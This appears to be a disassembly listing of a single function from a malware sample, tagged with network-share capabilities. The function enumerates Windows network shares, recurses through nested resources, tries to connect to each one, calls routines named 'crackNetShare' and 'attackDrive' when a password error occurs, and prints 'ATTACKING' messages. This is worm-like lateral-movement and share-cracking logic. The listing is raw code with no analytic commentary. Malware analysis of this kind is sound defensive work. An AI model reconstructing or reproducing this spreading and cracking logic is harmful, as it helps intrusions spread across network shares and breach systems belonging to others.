Function at 0x14000289a
Capabilities:
Connect network resource
Enumerate network shares

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x60
mov qword [rbp + 0x10], rcx
mov dword [rbp - 0x18], 0x4000
mov dword [rbp - 0x1c], 0xffffffff
lea rax, [rbp - 0x28]
mov qword [rsp + 0x20], rax
mov r9, qword [rbp + 0x10]
mov r8d, 0
mov edx, 0
mov ecx, 2
call sym.WNetOpenEnumA
mov dword [rbp - 8], eax
cmp dword [rbp - 8], 0
jne 0x140002b82
mov eax, dword [rbp - 0x18]
mov eax, eax
mov rdx, rax
mov ecx, 0x40
mov rax, qword [sym.imp.KERNEL32.dll_GlobalAlloc]
call rax
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x28]
lea r8, [rbp - 0x18]
mov rcx, qword [rbp - 0x10]
lea rdx, [rbp - 0x1c]
mov r9, r8
mov r8, rcx
mov rcx, rax
call sym.WNetEnumResourceA
mov dword [rbp - 0x14], eax
cmp dword [rbp - 0x14], 0
jne 0x140002b4c
mov dword [rbp - 4], 0
mov eax, dword [rbp - 0x1c]
cmp dword [rbp - 4], eax
jae 0x140002b55
mov edx, dword [rbp - 4]
mov rax, rdx
add rax, rax
add rax, rdx
shl rax, 4
mov rdx, rax
mov rax, qword [rbp - 0x10]
add rax, rdx
mov eax, dword [rax + 0xc]
and eax, 2
test eax, eax
je 0x140002986
mov edx, dword [rbp - 4]
mov rax, rdx
add rax, rax
add rax, rdx
shl rax, 4
mov rdx, rax
mov rax, qword [rbp - 0x10]
add rax, rdx
mov rcx, rax
call sym.propogateNet__NETRESOURCEA_
jmp 0x140002b43
mov edx, dword [rbp - 4]
mov rax, rdx
add rax, rax
add rax, rdx
shl rax, 4
mov rdx, rax
mov rax, qword [rbp - 0x10]
add rax, rdx
mov eax, dword [rax + 0xc]
and eax, 1
test eax, eax
je 0x140002b43
mov edx, dword [rbp - 4]
mov rax, rdx
add rax, rax
add rax, rdx
shl rax, 4
mov rdx, rax
mov rax, qword [rbp - 0x10]
add rax, rdx
mov rax, qword [rax + 0x18]
mov r8d, 0
mov edx, 0
mov rcx, rax
call sym.WNetAddConnectionA
cmp eax, 0x56
sete al
test al, al
je 0x140002ab4
lea rcx, str.ERROR_INVALID_PASSWORD
call sym.printf_char_const__::_
mov edx, dword [rbp - 4]
mov rax, rdx
add rax, rax
add rax, rdx
shl rax, 4
mov rdx, rax
mov rax, qword [rbp - 0x10]
add rax, rdx
mov rax, qword [rax + 0x18]
mov rdx, rax
lea rcx, str.ATTACKING:__s_n
call sym.printf_char_const__::_
mov edx, dword [rbp - 4]
mov rax, rdx
add rax, rax
add rax, rdx
shl rax, 4
mov rdx, rax
mov rax, qword [rbp - 0x10]
add rax, rdx
mov rax, qword [rax + 0x18]
mov rcx, rax
call sym.crackNetShare_char_
test eax, eax
sete al
test al, al
je 0x140002b43
mov edx, dword [rbp - 4]
mov rax, rdx
add rax, rax
add rax, rdx
shl rax, 4
mov rdx, rax
mov rax, qword [rbp - 0x10]
add rax, rdx
mov rax, qword [rax + 0x18]
mov edx, 0
mov rcx, rax
call sym.attackDrive_char__int_
mov edx, dword [rbp - 4]
mov rax, rdx
add rax, rax
add rax, rdx
shl rax, 4
mov rdx, rax
mov rax, qword [rbp - 0x10]
add rax, rdx
mov rax, qword [rax + 0x18]
mov edx, 0
mov rcx, rax
call sym.WNetCancelConnectionA
jmp 0x140002b43
mov edx, dword [rbp - 4]
mov rax, rdx
add rax, rax
add rax, rdx
shl rax, 4
mov rdx, rax
mov rax, qword [rbp - 0x10]
add rax, rdx
mov rax, qword [rax + 0x18]
mov edx, 0
mov rcx, rax
call sym.attackDrive_char__int_
mov edx, dword [rbp - 4]
mov rax, rdx
add rax, rax
add rax, rdx
shl rax, 4
mov rdx, rax
mov rax, qword [rbp - 0x10]
add rax, rdx
mov rax, qword [rax + 0x18]
mov edx, 0
mov rcx, rax
call sym.WNetCancelConnectionA
lea rcx, str.ACCESS_NOT_DENIED
call sym.printf_char_const__::_
mov edx, dword [rbp - 4]
mov rax, rdx
add rax, rax
add rax, rdx
shl rax, 4
mov rdx, rax
mov rax, qword [rbp - 0x10]
add rax, rdx
mov rax, qword [rax + 0x18]
mov rdx, rax
lea rcx, str.ATTACKING:__s_n
call sym.printf_char_const__::_
add dword [rbp - 4], 1
jmp 0x14000292f
cmp dword [rbp - 0x14], 0x103
jne 0x140002b63
cmp dword [rbp - 0x14], 0x103
je 0x140002b64
jmp 0x1400028e3
nop
mov rax, qword [rbp - 0x10]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GlobalFree]
call rax
mov rax, qword [rbp - 0x28]
mov rcx, rax
call sym.WNetCloseEnum
jmp 0x140002b83
nop
add rsp, 0x60
pop rbp
ret